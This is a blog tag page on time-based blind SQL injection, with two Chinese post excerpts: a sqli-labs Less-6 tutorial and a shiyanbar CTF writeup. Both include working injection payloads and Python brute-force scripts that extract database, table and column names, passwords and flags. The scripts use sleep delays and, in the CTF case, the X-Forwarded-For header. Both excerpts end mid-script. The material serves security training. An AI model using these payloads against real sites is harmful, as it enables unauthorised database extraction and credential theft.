Tag:时间盲注

Tag (时间盲注)'s result:

sql盲注之时间盲注

0x00 概述 渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲注系列的终篇,介绍盲注中的时间盲注。 0x01 时间盲注原理 由于有时网站关闭了错误回显或过滤了某些关键字,网页只会返回一种状态,这是就要用时间盲注了。 先整理几个基本函数: if(1,2,3):如果1真,则执行2,否则执行3 Sleep(x):执行延迟x秒 Benchmark(x,1):执行表达式1,x次(会消耗cpu,慎用!)   0x02 测试 Sqli-labs less-6: 这里尝试时间盲注。 1. 爆数据库名: 192.168.101.251:8999/sqli-labs/Less-6/?id=1″ and if(ascii(substr(database(),1,1))>115,1,sleep(3))–+ 当>115时是4034ms,而>114时是1041ms,所以可以判断>115时执行了sleep,同时说明数据库名第一个字符是s。 同理判断其余字符,最后得出数据库名security。 2. 爆表名: 2.192.168.101.251:8999/sqli-labs/Less-6/?id=1″ and if(ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1,1))>101,1,sleep(3))–+ >101出现延时,>100不延时,所以为e,同理爆出其余字符得emails,再爆出其余表名。 3. 爆列名: 3.192.168.101.251:8999/sqli-labs/Less-6/?id=1″ and if(ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 0,1),1,1))>105,1,sleep(3))–+ >105出现延时,>104不延时,表明users表第一个列第一个字符为i,同理爆出其余字符得id,同理爆出其余列名username,password。 4. 爆数据: 4.192.168.101.251:8999/sqli-labs/Less-6/?id=1″ and if(ascii(substr((select password from users limit 0,1),1,1))>68,1,sleep(3))–+ >68出现延时,>67不延时,表明password列第一项数据的第一个字符为D,同理爆出其余字符得Dumb,再爆出其余数据。   0x03 时间盲注脚本 只完成爆出数据库名,其余数据根据需要更改即可。 #coding:utf-8 #Author:LSA #Description:Time based sqli script for sqli-labs less 6 #Data:20180108 import requests import time import string import sys headers = {“user-agent”:”Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)”} chars = ‘abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.’ database = ” global length for l in range(1,20): lengthUrl = ‘http://192.168.101.251:8999/sqli-labs/Less-6/?id=1″ and if(length(database())>{0},1,sleep(3))–+’ lengthUrlFormat = lengthUrl.format(l) start_time0 = time.time() rsp0 = requests.get(lengthUrlFormat,headers=headers) if time.time() – start_time0 > 2.5: print ‘database length is ‘ + str(l) global length length = l break else: pass for i in range(1,length+1): for char in chars: charAscii = ord(char) url = ‘http://192.168.101.251:8999/sqli-labs/Less-6/?id=1″ and if(ascii(substr(database(),{0},1))>{1},1,sleep(3))–+’ urlformat = url.format(i,charAscii) start_time = time.time() rsp = requests.get(urlformat,headers=headers) if time.time() – start_time > 2.5: database+=char print ‘database: ‘,database……

实验吧ctf->web.whoareyou writeup

www.shiyanbar.com/ctf/1941 我要把攻击我的人都记录db中去!   一看题目,初步的想法就是记录访问ip到数据库,再打印返回。 明显就是有注入了。 接着就没思路了,看看高手们的writeup,额,时间盲注,没怎么玩过,真尴尬…… 由于是记录ip,所以想到请求头中和ip有关的字段如下: X-Forwarded-For Client-IP x-remote-IP x-originating-IP x-remote-addr 这里用Client-IP不行,接着尝试X-Forwarded-For成功伪造ip,关于X-Forwarded-For字段可以参考简谈X-Forwarded-For的一些事 还有如果有逗号则只保留逗号前面的内容,估计是取client。不影响盲注。 参考网上的脚本(来源:blog.csdn.net/qq_35078631/article/details/54773769): # -*- coding:utf-8 -*- import requests import string url = “http://ctf5.shiyanbar.com/web/wonderkun/index.php” guess = string.lowercase+string.uppercase+string.digits+string.punctuation database=[] for database_number in range(0,100): #假设爆破前100个库 databasename=” for i in range(1,100): #爆破字符串长度,假设不超过100长度 flag=0 for str in guess: #爆破该位置的字符 #print ‘trying ‘,str headers = {“X-forwarded-for”:”‘+”+” (select case when (substring((select schema_name from information_schema.SCHEMATA limit 1 offset %d) from %d for 1)=’%s’) then sleep(5) else 1 end) and ‘1’=’1″%(database_number,i,str)} try: res=requests.get(url,headers=headers,timeout=4) except: databasename+=str flag=1 print ‘正在爆破第%d个数据库名,the databasename now is ‘%(database_number+1) ,databasename break if flag==0: break database.append(databasename) if i==1 and flag==0: print ‘扫描完成’ break for i in range(len(database)): print database[i] 稍微解释下sql语句的几个部分: SUBSTRING(str FROM pos FOR len): 从第pos个字符开始到len长的字符。   Case when then else end –简单Case函数CASE sex WHEN ‘1’ THEN ‘男’ WHEN ‘2’ THEN ‘女’ ELSE ‘其他’ END –Case搜索函数 CASE WHEN sex = ‘1’ THEN ‘男’ WHEN sex = ‘2’ THEN ‘女’ ELSE ‘其他’ END   limit offset连用 ① select * from table limit 2,1; //含义是跳过2条取出1条数据,limit后面是从第2条开始读,读取1条信息,即读取第3条数据 ② select * from table limit 2 offset 1; //含义是从第1条(不包括)数据开始取出2条数据,limit后面跟的是2条数据,offset后面是从第1条开始读取,即读取第2,3条   同理根据位置查询出表名flag,列名flag(直接猜也行)。 最后查询flag内容(脚本来源:http://blog.csdn.net/qq_35078631/article/details/54773769) #-*-coding:utf-8-*- import requests import string url=”http://ctf5.shiyanbar.com/web/wonderkun/index.php” guess=string.lowercase + string.uppercase + string.digits flag=”” for i in range(1,100): havetry=0 for str in guess: headers={“x-forwarded-for”:”‘ +(select case when (substring((select flag from flag ) from %d for 1 )=’%s’) then sleep(7) else 1 end ) and ‘1’=’1″……